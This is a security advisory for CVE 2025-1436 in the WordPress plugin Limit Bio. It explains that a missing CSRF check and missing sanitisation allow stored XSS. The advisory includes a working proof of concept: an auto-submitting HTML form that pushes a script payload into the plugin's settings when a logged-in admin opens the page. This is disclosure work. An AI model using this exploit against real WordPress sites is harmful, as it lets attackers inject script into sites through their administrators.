Limit Bio <= 1.0 – Stored XSS via CSRF | CVE 2025-1436

Description

The plugin does not have CSRF check when updating its settings, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin add Stored XSS payloads via a CSRF attack.

Proof of Concept

Have an admin open the following HTML:

```
<!DOCTYPE html>
<html>
<head>
    <title>Submit Form</title>
    <script>
        window.onload = function() {
            document.getElementById("autoSubmitForm").submit();
        };
    </script>
</head>
<body>
    <form id="autoSubmitForm" action="https://example.com/wp-admin/options-general.php?page=limit-bio%2Flimit-bio.php" method="POST" enctype="multipart/form-data">
        <input type="hidden" name="character_count" value='123"><script>alert(1)</script>'>
        <input type="hidden" name="save" value="Save Changes">
        <input type="hidden" name="action" value="save">
    </form>
</body>
</html>
```